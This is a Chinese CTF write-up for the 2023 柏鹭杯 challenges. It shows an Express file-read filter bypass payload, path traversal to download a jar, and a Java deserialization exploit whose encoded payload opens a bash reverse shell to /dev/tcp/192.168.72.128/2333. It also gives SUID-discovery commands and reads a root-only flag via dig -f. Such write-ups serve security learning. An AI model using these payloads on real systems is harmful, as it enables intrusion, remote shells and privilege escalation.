2023柏鹭杯复现
签到
每行空格数量转ascii,输出就是flag
import os
file = open('pd.txt', 'r')
lines = file.readlines()
total_str = ''
for line in lines:
length = len(line)-1
# print(length)
c = chr(length)
# print(c)
total_str += c
print(total_str)
express ps
有任意文件读取,读/proc/1/environ,能发现这个文件main.js
const express = require("express");
const fs = require("fs");
const app = express();
const PORT = process.env.PORT || 80;
app.use('/static', express.static('static'))
app.use((req, res, next) => {
if (
[req.body, req.headers, req.query].some(
(item) => item && JSON.stringify(item).includes("flag")
)
) {
return res.send("臭黑客!");
}
next();
});
app.get("/", (req, res) => {
try {
res.setHeader("Content-Type", "text/html");
res.send(fs.readFileSync(req.query.file || "index.html").toString());
} catch (err) {
console.log(err);
res.status(500).send("Internal server error");
}
});
app.listen(PORT, () => console.log(`express server listening on port ${PORT}`));
根据源码关键代码,直接Google,找到现成WP,payload如下。
http://8.130.138.33:12180/?file[href]=aa&file[origin]=aa&file[protocol]=file:&file[hostname]=&file[pathname]=%2566lag.txt
JDBC(等WP)
反序列化(等WP)
UAF(等WP)
很抽象,貌似是PHP Pwn
综合5
任意文件读取获取到Java打包的源码
http://8.130.138.33:51180/readfile?filename=../../../../app/demo.jar
使用JD-GUI反编译获得源码,第一个flag的题面如下
private String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==";
public String O0O = "6925cc02789c1d2552b71acc4a2d48fd";
private static String loadedRedisPassword;
public String o0o(String Ooo) {
StringBuilder oOo = new StringBuilder();
for (int o0O = 0, OO0 = Ooo.length(); o0O < OO0; o0O++) {
char Oo0 = Ooo.charAt(o0O);
char oOO = this.O0O.charAt(o0O % this.O0O.length());
char OOo = (char)(Oo0 ^ oOO);
oOo.append(OOo);
}
return Base64.getEncoder().encodeToString(oOo.toString().getBytes());
}
把加密函数丢到GPT里,解密即可。
综合6
第二个flag的思路是,利用Java反序列化,触发自带的Ping类的Runtime.exec命令执行,来getshell。
这里我卡在了,对Java无回显命令执行,反弹shell的payload不熟练,导致错失flag。
反弹shell命令速查
package BOOT-INF.classes.com.example.demo;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
class Ping implements Serializable {
private static final long serialVersionUID = 1L;
private String command;
private String arg1;
private String arg2;
public void setCommand(String command) {
this.command = command;
}
public void setArg1(String arg1) {
this.arg1 = arg1;
}
public void setArg2(String arg2) {
this.arg2 = arg2;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
String[] cmdArray = { this.command, this.arg1, this.arg2 };
Runtime.getRuntime().exec(cmdArray);
}
}
@PostMapping({"/internalApi/v3.2/updateConfig"})
public String syncData(@RequestBody String payload) {
try {
byte[] data = Base64.getDecoder().decode(payload);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject();
return "Data synced successfully";
} catch (IOException|ClassNotFoundException e) {
return "Failed to sync data: " + e.getMessage();
}
}
构造Java反弹shell的Payload
package com.example.demo;
import java.io.*;
import java.util.Base64;
import com.example.demo.Ping;
public class Test {
public static void main(String[] args) throws Exception{
Ping ping = new Ping();
ping.setCommand("bash");
ping.setArg1("-c");
// /bin/bash -i >& /dev/tcp/192.168.72.128/2333 0>&1
ping.setArg2("{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNzIuMTI4LzIzMzMgMD4mMSAgIA==}|{base64,-d}|{bash,-i}");
serialize(ping);
}
public static void serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(o);
out.close();
String res = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println("res = " + res);
System.out.println("序列化完成...");
}
}
vps监听,然后用Postman把payload发过去
成功上线,在/app/hint.txt有提示,flag2的路径是/root/flag2,但是权限不够没法访问
suid提权,先找权限高的命令,常用查询语句如下:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
这里可以用dig -f命令读取文件,就能获取flag;选dig的原因是它可以被利用:所有可以suid提权的命令
综合7
利用Redis写入SSH,老东西了,下次再来。